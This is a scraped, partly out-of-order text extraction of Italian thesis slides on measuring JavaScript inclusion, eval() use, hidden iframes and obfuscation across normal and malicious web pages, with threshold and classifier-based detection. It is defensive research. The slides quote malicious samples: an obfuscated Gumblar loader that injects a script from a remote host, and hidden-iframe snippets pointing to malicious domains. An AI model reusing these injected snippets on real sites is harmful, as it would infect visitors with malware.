             → maggior numero di script contententi eval() fra gli Embedded Script

                                         Sara Zambon       Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri   Script iframe Script offuscati


 Utilizzo di iframe sospettosamente piccoli
      Quanto ` diffusa l’inclusione di frame e iframe sospettosamente piccoli?
             e




             Normal:
             → l’8,5% delle pagine include un frame o un iframe praticamente invisibile
             → il 3% delle pagine ne include 2
             → una minima percentuale di pagine arriva ad includerne 16


                                         Sara Zambon       Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri     Script iframe Script offuscati


 Percentuali di script offuscati
      Quanto ` diffuso l’utilizzo di tecniche di offuscamento?
             e




                (i)   Criterio “Soglie sulle features”               (j)   Criterio “Classificatore MLP”




             Soglie sulle features:
             → evidenzia offuscamento negli Embedded Script delle pagine Malicious

             Classificatore MLP:
             → evidenzia offuscamento quasi esclusivamente nei Child Script

                                               Sara Zambon   Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri


 Gli sviluppi futuri



      Nuove analisi:
         1   nuove propriet`
                           a
               ⇒ possibile discernere pagine maligne da benigne?
               ⇒ possibile classificare pagine senza disporre di liste aggiornate
                 sui siti infetti?
         2   studio dell’aspetto dinamico della pagina
               ⇒ possibile distinguere manipolazioni fraudolente da legittime?




                                         Sara Zambon       Caratterizzazione dei codici JavaScript nel Web

More Related Content

Featured

How Race, Age and Gender Shape Attitudes Towards Mental Health
How Race, Age and Gender Shape Attitudes Towards Mental HealthHow Race, Age and Gender Shape Attitudes Towards Mental Health
How Race, Age and Gender Shape Attitudes Towards Mental Health
ThinkNow
 
Social Media Marketing Trends 2024 // The Global Indie Insights
Social Media Marketing Trends 2024 // The Global Indie InsightsSocial Media Marketing Trends 2024 // The Global Indie Insights
Social Media Marketing Trends 2024 // The Global Indie Insights
Kurio // The Social Media Age(ncy)
 

Featured (20)

2024 State of Marketing Report – by Hubspot
2024 State of Marketing Report – by Hubspot2024 State of Marketing Report – by Hubspot
2024 State of Marketing Report – by Hubspot
 
Everything You Need To Know About ChatGPT
Everything You Need To Know About ChatGPTEverything You Need To Know About ChatGPT
Everything You Need To Know About ChatGPT
 
Product Design Trends in 2024 | Teenage Engineerings
Product Design Trends in 2024 | Teenage EngineeringsProduct Design Trends in 2024 | Teenage Engineerings
Product Design Trends in 2024 | Teenage Engineerings
 
How Race, Age and Gender Shape Attitudes Towards Mental Health
How Race, Age and Gender Shape Attitudes Towards Mental HealthHow Race, Age and Gender Shape Attitudes Towards Mental Health
How Race, Age and Gender Shape Attitudes Towards Mental Health
 
AI Trends in Creative Operations 2024 by Artwork Flow.pdf
AI Trends in Creative Operations 2024 by Artwork Flow.pdfAI Trends in Creative Operations 2024 by Artwork Flow.pdf
AI Trends in Creative Operations 2024 by Artwork Flow.pdf
 
Skeleton Culture Code
Skeleton Culture CodeSkeleton Culture Code
Skeleton Culture Code
 
PEPSICO Presentation to CAGNY Conference Feb 2024
PEPSICO Presentation to CAGNY Conference Feb 2024PEPSICO Presentation to CAGNY Conference Feb 2024
PEPSICO Presentation to CAGNY Conference Feb 2024
 
Content Methodology: A Best Practices Report (Webinar)
Content Methodology: A Best Practices Report (Webinar)Content Methodology: A Best Practices Report (Webinar)
Content Methodology: A Best Practices Report (Webinar)
 
How to Prepare For a Successful Job Search for 2024
How to Prepare For a Successful Job Search for 2024How to Prepare For a Successful Job Search for 2024
How to Prepare For a Successful Job Search for 2024
 
Social Media Marketing Trends 2024 // The Global Indie Insights
Social Media Marketing Trends 2024 // The Global Indie InsightsSocial Media Marketing Trends 2024 // The Global Indie Insights
Social Media Marketing Trends 2024 // The Global Indie Insights
 
Trends In Paid Search: Navigating The Digital Landscape In 2024
Trends In Paid Search: Navigating The Digital Landscape In 2024Trends In Paid Search: Navigating The Digital Landscape In 2024
Trends In Paid Search: Navigating The Digital Landscape In 2024
 
5 Public speaking tips from TED - Visualized summary
5 Public speaking tips from TED - Visualized summary5 Public speaking tips from TED - Visualized summary
5 Public speaking tips from TED - Visualized summary
 
ChatGPT and the Future of Work - Clark Boyd
ChatGPT and the Future of Work - Clark Boyd ChatGPT and the Future of Work - Clark Boyd
ChatGPT and the Future of Work - Clark Boyd
 
Getting into the tech field. what next
Getting into the tech field. what next Getting into the tech field. what next
Getting into the tech field. what next
 
Google's Just Not That Into You: Understanding Core Updates & Search Intent
Google's Just Not That Into You: Understanding Core Updates & Search IntentGoogle's Just Not That Into You: Understanding Core Updates & Search Intent
Google's Just Not That Into You: Understanding Core Updates & Search Intent
 
How to have difficult conversations
How to have difficult conversations How to have difficult conversations
How to have difficult conversations
 
Introduction to Data Science
Introduction to Data ScienceIntroduction to Data Science
Introduction to Data Science
 
Time Management & Productivity - Best Practices
Time Management & Productivity -  Best PracticesTime Management & Productivity -  Best Practices
Time Management & Productivity - Best Practices
 
The six step guide to practical project management
The six step guide to practical project managementThe six step guide to practical project management
The six step guide to practical project management
 
Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...
Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...
Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...
 

Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

  • 1. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web Universit` Degli Studi Di Trieste a Facolt` di Ingegneria a Corso di Laurea Specialistica in Ingegneria Informatica LAUREANDA RELATORE Sara Zambon Chiar.mo Prof. Alberto Bartoli CORRELATORE Ing. Eric Medvet Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 2. Introduzione Dataset Offuscamento Analisi Sviluppi futuri I vantaggi Le insidie Le insidie L’obiettivo I cinque quesiti L’era del Web 2.0 Evoluzione del Web: dinamicit`a interazione con l’utente ⇒ grazie a script, frammenti di codice eseguiti lato client Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 3. Introduzione Dataset Offuscamento Analisi Sviluppi futuri I vantaggi Le insidie Le insidie L’obiettivo I cinque quesiti Stato attuale di sicurezza nel Web Rapporti Websense, Sophos: crescita del 671% di siti Internet malicious in un anno 77% dei siti malicious sono siti affidabili compromessi Drive-by download Scaricamento automatico di malware → spesso ` un link a inoltrare l’utente verso pagina maligna e Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 4. Introduzione Dataset Offuscamento Analisi Sviluppi futuri I vantaggi Le insidie Le insidie L’obiettivo I cinque quesiti Inclusione di codice Durante la navigazione fra le pagine di un sito: 1 esecuzione di mix di codici provenienti da siti terzi, inclusi tramite: → script → iframe, talvolta invisibili 2 esecuzione di codici offuscati ! all’insaputa dell’utente Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 5. Introduzione Dataset Offuscamento Analisi Sviluppi futuri I vantaggi Le insidie Le insidie L’obiettivo I cinque quesiti Inclusione di codice ! all’insaputa dell’utente Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 6. Introduzione Dataset Offuscamento Analisi Sviluppi futuri I vantaggi Le insidie Le insidie L’obiettivo I cinque quesiti L’obiettivo della ricerca Obiettivo Caratterizzazione dell’inclusione degli script nelle pagine web Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 7. Introduzione Dataset Offuscamento Analisi Sviluppi futuri I vantaggi Le insidie Le insidie L’obiettivo I cinque quesiti L’obiettivo della ricerca Obiettivo Caratterizzazione dell’inclusione degli script nelle pagine web ⇒ sostanziale assenza di studi con medesima finalit` a Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 8. Introduzione Dataset Offuscamento Analisi Sviluppi futuri I vantaggi Le insidie Le insidie L’obiettivo I cinque quesiti I cinque quesiti 1 Quanto ` diffusa l’inclusione di script da url diversi? e 2 A che profondit` di inclusione si arriva per includere script? a 3 Quanto ` diffuso l’utilizzo di eval()? e 4 Quanto ` diffusa l’inclusione di frame e iframe e sospettosamente piccoli? 5 Quanto ` diffuso l’utilizzo di tecniche di offuscamento? e Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 9. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Le fonti Dati Ts e Ti Propriet` Features a Le fonti Dateset con 1037 pagine rappresentativo del Web: → 3 fonti di scaricamento: Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 10. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Le fonti Dati Ts e Ti Propriet` Features a Le fonti Dateset con 1037 pagine rappresentativo del Web: → 3 fonti di scaricamento: ≈ 80% pagine Normal Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 11. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Le fonti Dati Ts e Ti Propriet` Features a Le fonti Dateset con 1037 pagine rappresentativo del Web: → 3 fonti di scaricamento: ≈ 80% pagine Normal→ Top Million Sites List stilata dall’azienda Alexa Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 12. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Le fonti Dati Ts e Ti Propriet` Features a Le fonti Dateset con 1037 pagine rappresentativo del Web: → 3 fonti di scaricamento: ≈ 80% pagine Normal→ Top Million Sites List stilata dall’azienda Alexa ≈ 20% pagine Malicious Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 13. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Le fonti Dati Ts e Ti Propriet` Features a Le fonti Dateset con 1037 pagine rappresentativo del Web: → 3 fonti di scaricamento: ≈ 80% pagine Normal→ Top Million Sites List stilata dall’azienda Alexa ≈ 20% pagine Malicious→ elenco siti infetti pubblicato dal progetto Malware Domain List Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 14. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Le fonti Dati Ts e Ti Propriet` Features a Le fonti Dateset con 1037 pagine rappresentativo del Web: → 3 fonti di scaricamento: ≈ 80% pagine Normal→ Top Million Sites List stilata dall’azienda Alexa ≈ 20% pagine Malicious→ elenco siti infetti pubblicato dal progetto Malware Domain List < 1% pagine Interesting Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 15. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Le fonti Dati Ts e Ti Propriet` Features a Le fonti Dateset con 1037 pagine rappresentativo del Web: → 3 fonti di scaricamento: ≈ 80% pagine Normal→ Top Million Sites List stilata dall’azienda Alexa ≈ 20% pagine Malicious→ elenco siti infetti pubblicato dal progetto Malware Domain List < 1% pagine Interesting→ 3 maggiori JavaScript benchmark Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 16. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Le fonti Dati Ts e Ti Propriet` Features a Estrapolazione dei dati dalla pagina Da ciascuna pagina scaricata sono stati estrapolati: → script JavaScript → frame → iframe Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 17. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Le fonti Dati Ts e Ti Propriet` Features a Estrapolazione dei dati dalla pagina Da ciascuna pagina scaricata sono stati estrapolati: → script JavaScript → frame → iframe Quindi sono state popolate due tabelle: Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 18. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Le fonti Dati Ts e Ti Propriet` Features a Estrapolazione dei dati dalla pagina Da ciascuna pagina scaricata sono stati estrapolati: → script JavaScript → frame → iframe Quindi sono state popolate due tabelle: → Ts , tabella degli script JavaScript → Ti , tabella dei frame e degli iframe Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 19. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Le fonti Dati Ts e Ti Propriet` Features a La tabella degli script e la tabella dei frame e degli iframe Per ogni script viene inserita una riga Per ogni frame e iframe viene inserita nella tabella Ts : una riga nella tabella Ti : Script URL Iframe URL Root page URL Root page URL Script body Iframe body Category: Enclosing: Embedded Script HTML Embedded Child Script Script Embedded Intrinsic Event Locality: Locality: Local Local Remote Remote List of HTTP redirection for the List of HTTP redirection for the iframe script ... ... Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 20. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Le fonti Dati Ts e Ti Propriet` Features a Le propriet` estratte a Propriet` estratte dagli script: a Function name Document.write Iframe Variable name Variable content Long string Eval Unescape Decode Onerror Exec String.fromCharCode String.charCodeAt Math.random Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 21. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Le fonti Dati Ts e Ti Propriet` Features a Le propriet` estratte a Propriet` estratte da frame e iframe: a Width Height Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 22. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Le fonti Dati Ts e Ti Propriet` Features a Dalle propriet` alle features a → 1 pagina ⇒ n script → 1 script ⇒ 14 propriet` a → 1 propriet` ⇒ m items a Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 23. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Le fonti Dati Ts e Ti Propriet` Features a Dalle propriet` alle features a → 1 pagina ⇒ n script → 1 script ⇒ 14 propriet` a → 1 propriet` ⇒ m items a → 1 script ⇒ 17 features, ottenute: contando ⇒ items associati a una propriet` a contando ⇒ items offuscati associati a una propriet` a Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 24. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Le fonti Dati Ts e Ti Propriet` Features a Le features Vettore di 17 numeri, features, associato allo script: Feature Number of Obfuscated Function name Number of Obfuscated Document.write Number of Obfuscated Iframe Number of Obfuscated Variable name Number of Obfuscated Variable content Number of Obfuscated Long String Number of Eval Number of Obfuscated Eval Number of Eval with long argument Number of Unescape Number of Obfuscated Unescape Number of Obfuscated Decode Number of Obfuscated Onerror Number of Obfuscated Exec Number of String.fromCharCode Number of String.charCodeAt Number of Math.random Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 25. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio Definizione di Offuscamento ! Assenza definizione precisa Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 26. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio Definizione di Offuscamento ! Assenza definizione precisa Definizione di codice offuscato Codice progettato in modo da nascondere le sue reali finalit`, a anche a seguito di un’analisi approfondita da parte di operatori esperti Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 27. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio Definizione di Offuscamento ! Assenza definizione precisa Definizione di codice offuscato Codice progettato in modo da nascondere le sue reali finalit`, a anche a seguito di un’analisi approfondita da parte di operatori esperti Obiettivi alla base dell’offuscamento: º proteggere la paternit` del codice a » celare codice maligno Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 28. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio Due esempi di script JavaScript offuscati Primo script offuscato f u n c t i o n c ( g ) { v a r m=0; w h i l e (m . l e n g t h ) { v a r r=g [m ] ; r . l=d ( r . n , r . o ) ; i f ( r . j==t r u e ) { <g r . k=e ( r . n , r . o , r . l ) ; } e l s e { r . k =0;} r . t=f ( r . l+r . k ) ;m++;}} Secondo script offuscato xR5p=3D’ % ’ ; e v a l ( u n e s c a p e ( ( ’ v a r ” 20 a ” 3d” 22 Sc ” 72 i p t E n g i n ” 65 ” 22 ” 2 c ” 62 ” 3d” 22 ”5=6 e r s ” 69 on ( )+” 22 ” 2 c ” 6 a ” 3d” 22 ” 22 ” 2 cu ” 3 d n a v i g ” 61 t ” 6 f r ” 2 e ” 75 s ” 65 r A g e n t ” 3 b i f ((= ” 75 ” 2 e i n d ” 65 xOf ” 28 ” 22Win” 2 2 ) ” 3 e0 ) ” 26 ” 2 6 ( u” 2 e ” 69 n” 64 exO” 6 6 ( ” 22NT” 20 ” 36 ” 22 ”=29” 3 c0 ) ” 26 ” 2 6 ( documen ” 74 ” 2 e c o o k i e ” 2 e ” 69 ndex ” 4 f ” 66 ” 28 ” 22 ” 6 d i e ” 6b” 3 d1 ” 2 2 ) ”3=c0 ) ” 26 ” 26 ” 28 t ” 79 ” 70 e ” 6 f f ( ” 7 a r v z t s ) ” 21 ” 3 d t y p e o f ( ” 22A” 2 2 ) ) ” 29 ” 7 b z r v z t s ” 3d”2=2A” 22 ” 3b ” 65 va ” 6 c ( ” 22 i f ( wi ” 6 edow ” 2 e ”22+a+” 22 ” 29 j ” 3d” 6 a+”22+a+” 22M” 61 j o ” 72 ”=22+” 62 ” 2 ba+” 22 Minor ” 22 ” 2 bb+a+” 22B” 75 ” 69 l d ” 22 ” 2 bb ” 2b” 22 j ” 3b” 2 2 ) ” 3 bdocu ” 6 de=” 6 e ” 74 ” 2 ewr ” 69 ” 74 e ( ” 22 ” 3 c s c ” 72 i p t ” 20 s r ” 63 ” 3d” 2 f ” 2 f g u m b l a r ” 2 e c n ” 2 f r s s ” 2 f ”3= f i d ” 3d” 22+ j+” 22 ” 3 e ” 3 c ” 5 c ” 2 f ” 73 c r i p t ” 3 e ” 22 ” 29 ” 3b” 7d ’ ) . r e p l a c e ( j i l , xR5p ) ) ) }=) ( / ” / g ) ; Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 29. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio Due esempi di script JavaScript offuscati Secondo script ! Gumblar ⇒ A maggio 2009 deteneva il 42% infezioni a livello globale ⇒ all’esecuzione download altro script da http://www.gumblar.cn/rss/ Ultime righe del secondo script [ . . . ] ” 3 bdocu ” 6 de=” 6 e ” 74 ” 2 ewr ” 69 ” 74 e ( ” 22 ” 3 c s c ” 72 i p t ” 20 s r ” 63 ” 3d” 2 f ” 2 f g u m b l a r ” 2 e c n ” 2 f r s s ” 2 f ”3= f i d ” 3d”22+ j+” 22 ” 3 e ” 3 c ” 5 c ” 2 f ” 73 c r i p t ” 3 e ” 22 ” 29 ” 3b” 7d ’ ) [ . . . ] ⇒ obiettivo offuscamento: celare codice maligno Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 30. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio Esempi di items offuscati nomi offuscati di funzioni c07b380984r0368a7 , r32fdfe1768 , re15d694d . nomi offuscati di variabili a 7 0 4 4 t f , a7044pu , a 7 0 4 4 p f , a7044su , a 7 0 4 4 s f , a 7 0 4 4 o f , a7044op , a7044ops , a 7 0 4 4 o t , a7044d , a 7 0 4 4 o e . variabile con argomento offuscato v a r ne07614 =[” 128 ” , ” 139 ” , ” 127 ” , ” 145 ” , ” 137 ” , ” 129 ” , ” 138 ” , ” 144 ” , ” 74 ” , ” 131 ” , ” 129 ” , ” 144 ” , ” 97 ” , ” 136 ” , ” 129 ” , ” 137 ” , ” 129 ” , ” 138 ” , ” 144 ” , ” 94 ” , ” 149 ” , ” 101 ” , ” 128 ” , ” 68 ” , ” 62 ” , ” 144 ” , ” 139 ” , ” 140 ” , ” 137 ” , ” 129 ” , ” 138 ” , ” 145 ” , ” 79 ” , ” 79 ” , ” 82 ” , ” 62 ” , ” 69 ” , ” 74 ” , ” 143 ” , ” 144 ” , ” 149 ” , ” 136 ” , ” 129 ” , ” 74 ” , ” 128 ” , ” 133 ” , ” 143 ” , ” 140 ” , ” 136 ” , ” 125 ” , ” 149 ” , ” 60 ” , ” 89 ” , ” 60 ” , ” 62 ” , ” 138 ” , ” 139 ” , ” 138 ” , ” 129 ” , ” 62 ” , ” 87 ” , ” 128 ” , ” 139 ” , ” 127 ” , ” 145 ” , ” 137 ” , ” 129 ” , ” 138 ” , ” 144 ” , ” 74 ” , ” 131 ” , ” 129 ” , ” 144 ” , ” 97 ” , ” 136 ” , ” 129 ” , ” 137 ” , ” 129 ” , ” 138 ” , ” 144 ” , [ . . . ] ] ; document.write() con argomento offuscato document . w r i t e ( ’<a h r e f=” h t t p : / /www . 5 1 . l a /?002347044 ” t a r g e t=” b l a n k ” t i t l e =” &#x35;&#x31;&#x2E;&#x6C;&#x61;&#x20;&#x4E13;&#x4E1A;&#x3001;&#x514D ;&#x8D39;&#x3001;&#x5F3A;&#x5065;&#x7684;&#x8BBF;&#x95EE;&#x7EDF;&# x8BA1 ; ”> &#x7F51;&#x7AD9;&#x7EDF;&#x8BA1 ;</ a>n ’ ) stringa con argomento offuscato c=T . 7 y ( ) ; 1 e ( c . 1 A+29.2 f ( 1Q. 1 C . 2 e , 1Q. 1 c . 2 e ) , c . 1 S +29.2 f ( 1Q. 1 C . 2 c , 1Q. 1 c . 2 c ) ) ; 1 e(−1Q. 1 C . 6 b,−1Q. 1 C . 6 a ) }N{1 e (T . 5 X , T . 5W) ; 1 B( 1 s ) {1 e ( 1 s . 5 X , 1 s . 5W) ; G (42&&!/ˆ t ( 9 8 | d | h ) $ / i . 1 1 ( 1 s . 2 j ) | | 2 k&&!5U) 2C( 1 s ) ; G ( ! 3 c&&1g ( 1 s , ” 30 ” )==” 3 c ” ) 3 c= 4 a=/ˆ1 c$ / i . 1 1 ( 1 s . 2 j ) ?4 a : 1 s ; 1 s=1s . 1 s }1B( d&&d . 2 j &&!/ˆ1 c | 2 K$/ i M; . 1 1 ( d . 2 j ) ) {G ( ! / ˆ 9 6 | 1 T. ∗ $ / i . 1 1 ( 1 g ( d , ” 18 ” ) ) ) 1 e(−d . 2 e ,−d . 2 c ) ; G(42&&1g ( d , ” 33 ” ) !=” 4 j ” ) 2C( d ) ; d=d . 1 d}G ( ( 5U&&(3c | | 1 g ( 4 a , ” 30 ” )==” 5 x ” ) ) [ . . . ] Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 31. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio Esempi di propriet` offuscate a stringa lunga con argomento offuscato rcDF60rcDF105rcDF102rcDF114rcDF97rcDF109rcDF101rcDF32rcDF119rcDF105rcDF 100 rcDF116rcDF104rcDF61rcDF34rcDF52rcDF56rcDF48rcDF34rcDF32rcDF104rcDF1 01 rcDF105rcDF103rcDF104rcDF116rcDF61rcDF34rcDF54rcDF48rcDF34rcDF32rcDF1 15 rcDF114rcDF99rcDF61rcDF34rcDF104rcDF116rcDF116rcDF112rcDF58rcDF47rcDF 47 rcDF115rcDF101rcDF110rcDF100rcDF50rcDF57rcDF57rcDF51rcDF49rcDF46rcDF9 9 rcDF110rcDF47rcDF116rcDF114rcDF97rcDF102rcDF102rcDF47rcDF105rcDF110rcD F46rcDF99rcDF103rcDF105rcDF63rcDF50rcDF34rcDF32rcDF115rcDF116rcDF121rcD F108rcDF101rcDF61rcDF34rcDF98rc eval() con argomento offuscato e v a l ( u n e s c a p e ( ’ f u n c t i o n %20AGAHlA%28SCSL%29%7BR GHH%3Dnew%20 S t r i n g %28 a r g u m e n t s . c a l l e e %29. r e p l a c e %28/%5B%5E@a−z0−9A−Z .%5D/ g%2C%27%27%29%2 CH ShH%3D%27%27%2CAsRG%3D−1%2CASaIS %3D−1%3Bvar%20HpCh%3D0%3B f o r %28 AsRG%3D0%3BAsRG%3CR GHH . l e n g t h %3BAsRG++%29HpCh%5E%3DR GHH . c h a r C o d e A t %28AsRG%29%3BAsRG%3D−1%3B w h i l e%28++A S a I S %3CSCSL . l e n g t h %29%7 B i f %28 AsRG%3D%3DR GHH . l e n g t h %29AsRG%3D0%3B e l s e %20AsRG++%3BH ShH+%3D S t r i n g . fromCharCode%28HpCh%5ESCSL . c h a r C o d e A t%28A S a I S %29%5ER GHH . c h a r C o d e A t %28AsRG%29%29%3B%7Ddocument . w r i t e %28H ShH%29%3BH ShH%3D%27%27%3 B r e t u r n%3B%7D ’ ) ) ; unescape() con argomento offuscato u n e s c a p e ( ”%3C i f r a m e %20name%3D%22 a d p r o t e s t %22%20 w i d t h%3D%22”+wi+”%22%20 h e i g h t %3D%22”+he+”%22%20 f r a m e b o r d e r%3D%220%22%20 s r c %3D%22 h t t p%3A// s c r i p t s . c h i t i k a . n e t / s t a t i c / a d p r o . h t m l%22%20 m a r g i n w i d t h%3D%220%22%20 m a r g i n h e i g h t%3D%220%22%20 v s p a c e%3D%220%22%20 h s p a c e%3D%220%22%20 a l l o w t r a n s p a r e n c y %3D%22 t r u e %22%20 s c r o l l i n g %3D%22no%22%3E%3C/ i f r a m e %3E ”) Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 32. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio Iframe invisibili iframe reso invisibile dalle dimensioni nulle (width=0 e height=0) <i f r a m e s r c=” hxxp : / / g o o g l e−a n a l y z . cn / c o u n t . php ? o=1” w i d t h=0 h e i g h t =0 s t y l e =” h i d d e n ” f r a m e b o r d e r=0 m a r g i n h e i g h t =0 m a r g i n w i d t h=0 s c r o l l i n g =no></ i f r a m e> iframe reso invisibile da una sola dimensione nulla (height=0) <i f r a m e s r c=” hxxp : / / a86x . homeunix . o r g : 8 0 8 0 / t s / i n . c g i ? open2 ” w i d t h =997 h e i g h t =0 s t y l e=” v i s i b i l i t y : h i d d e n ”> i f r a m e> </ iframe di dimensioni minime e dunque difficilmente percepibile <i f r a m e s r c=” hxxp : / / y o u r l i t e t o p . cn / t s / i n . c g i ? m o z i l a 7 ” w i d t h=2 h e i g h t =4 s t y l e=” v i s i b i l i t y : h i d d e n ”> i f r a m e> </ iframe reso invisibile dall’attributo visibility:hidden <i f r a m e s r c=” hxxp : / / c o m b i n e b e t . cn : 8 0 8 0 / i n d e x . php ” w i d t h =180 h e i g h t =141 s t y l e=” v i s i b i l i t y : h i d d e n ”> i f r a m e> </ iframe non visibile perch` interno a un “contenitore” <div> invisibile e <d i v s t y l e=” d i s p l a y : none ”> <i f r a m e s r c=” hxxp : / / r e d−w o l f . r u : 8 0 8 0 / i n d e x . php ” w i d t h =574 h e i g h t =455> </ i f r a m e> </ d i v> Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 33. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio Dynamic Evaluation Moderni linguaggi di scripting permettono la dynamic evaluation: º valutazione run time input utente » grave problema per la sicurezza La funzione JavaScript eval() esegue una stringa trattandola come codice → potenzialmente in grado di compiere qualsiasi azione → nella maggior parte dei casi uso scorretto Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 34. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio L’analisi sull’offuscamento Obiettivo Individuazione criterio per stabilire se un script ` offuscato o meno e Primo criterio di offuscamento Soglie sulle features ottenute da analisi delle propriet` degli script a Secondo criterio di offuscamento Classificatore realizzato su risultati di test svolti da analisti ⇒ per ogni script di Ts → 2 “bit di offuscamento” Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 35. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio Il primo bit di offuscamento → 1 script → vettore 17 features Primo criterio: → soglie basate su domain knowledge → se almeno una feature supera la soglia ⇒ lo script ` offuscato. e Feature Soglia Number of Obfuscated Function name 0 Number of Obfuscated Document.write 0 Number of Obfuscated Iframe 0 Number of Obfuscated Variable name 4 Number of Obfuscated Variable content 4 Number of Obfuscated Long String 0 Number of Eval 2 Number of Obfuscated Eval 0 Number of Eval with long argument 0 Number of Unescape 2 Number of Obfuscated Unescape 0 Number of Obfuscated Decode 0 Number of Obfuscated Onerror 0 Number of Obfuscated Exec 0 Number of String.fromCharCode 4 Number of String.charCodeAt 4 Number of Math.random 4 Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 36. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio Il secondo criterio 77 analisti esaminatori di 893 script di Ts → Ritieni che questo codice sia offuscato (anche solo parzialmente)? Possibili opzioni di risposta: S` No, Non so ı, Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 37. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio Il secondo criterio 77 analisti esaminatori di 893 script di Ts → Ritieni che questo codice sia offuscato (anche solo parzialmente)? Possibili opzioni di risposta: S` No, Non so ı, → dei 893 script → 691 con pi` di una valutazione u → dei 691 script → 561 con maggioranza di giudizio → dei 561 script: → 372 (66%) giudizio unanime → 100 (18%) range di valutazioni comuni fra l’51% e il 67% → dei 691 script → 130 senza maggioranza di giudizio → dei 130 script: → 81 (67%) giudizio unanime Non so Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 38. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio Il secondo bit di offuscamento → 1 script → vettore 17 features Secondo criterio: → per ogni script dei 561 → bit offuscameno analisti → addestramento di un classificatore Multilayer Perceptron Sara Zambon Caratterizzazione dei codici JavaScript nel Web
